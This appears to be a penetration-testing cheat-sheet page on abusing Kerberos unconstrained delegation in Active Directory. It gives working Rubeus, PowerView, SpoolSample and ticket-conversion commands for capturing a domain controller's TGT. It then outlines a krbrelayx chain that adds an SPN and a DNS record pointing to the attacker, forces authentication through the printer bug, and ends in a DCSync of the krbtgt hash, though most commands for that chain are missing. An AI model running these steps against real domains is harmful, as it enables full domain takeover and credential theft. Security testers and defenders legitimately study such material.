Unconstrained
Enumerate:
PowerView3 > Get-DomainComputer -Unconstrained | select dnshostname,samaccountname,useraccountcontrolMonitor for TGTs
Coerce authentication from a DC while monitoring for TGTs in the background on the owned unconstrained delegation system:
Cmd > .\Rubeus.exe monitor /targetuser:DC01$ /interval:5 /nowrap /runfor:60 [/registry:SOFTWARE\MONITOR] [/consoleoutfile:C:\Windows\Temp\monitor.txt]
Cmd > .\SpoolSample.exe dc01.megacorp.local srv01.megacorp.localUse ticket_converter or ticketConverter.py to convert the TGT from .kirbi to .ccache (usable with impacket):
$ python ticket_converter.py dc01.kirbi dc01.ccache
$ KRB5CCNAME=`pwd`/dc01.ccache ...If output goes to the /registry:
PS > Get-ChildItem HKLM:\SOFTWARE\MONITOR\
PS > Get-ItemProperty HKLM:\SOFTWARE\MONITOR\[email protected]
PS > Get-Item HKLM:\SOFTWARE\MONITOR\ | Remove-Item -Recurse -Force"Relaying" Kerberos
Printer Bug + DCSync
Requirements:
Owned computer account with unconstrained delegation enabled (SRV01).
Printer bug on a domain controller (DC01).
Permissions to add an SPN for the owned computer account and a new DNS record in AD.
1. Grab owned computer account password to calculate its Kerberos AES key. This is done automatically when extracting the password remotely with secretsdump.py, or it will be done later by krbrelayx.py when providing it the password in hex from local secretsdump.py output:
2. Add a custom SPN for the owned computer account with unconstrained delegation:
3. Add a DNS record pointing to the attacker's host:
4. Check that the record was added successfully (~ 3 minutes):
5. Start krbrelayx.py providing AES key of the owned computer account or its plain password in hex with salt:
6. Coerce the authentication to attacker's host from DC01 by triggering printer bug:
7. Export extracted TGT and perform DCSync to get krbtgt hash (or any other privileged account hash):
8. Cleanup. Delete SPN and DNS record:
Other scenarios:
In this blogpost it is described how to perform the attack by abusing a service (user) account with unconstrained delegation enabled.
In this blogpost it is described how to perform the attack from Windows by extracting TGT with Inveigh.
In this blogpost it is described how to perform the attack by abusing a gMSA (user) account with unconstrained delegation enabled.
Last updated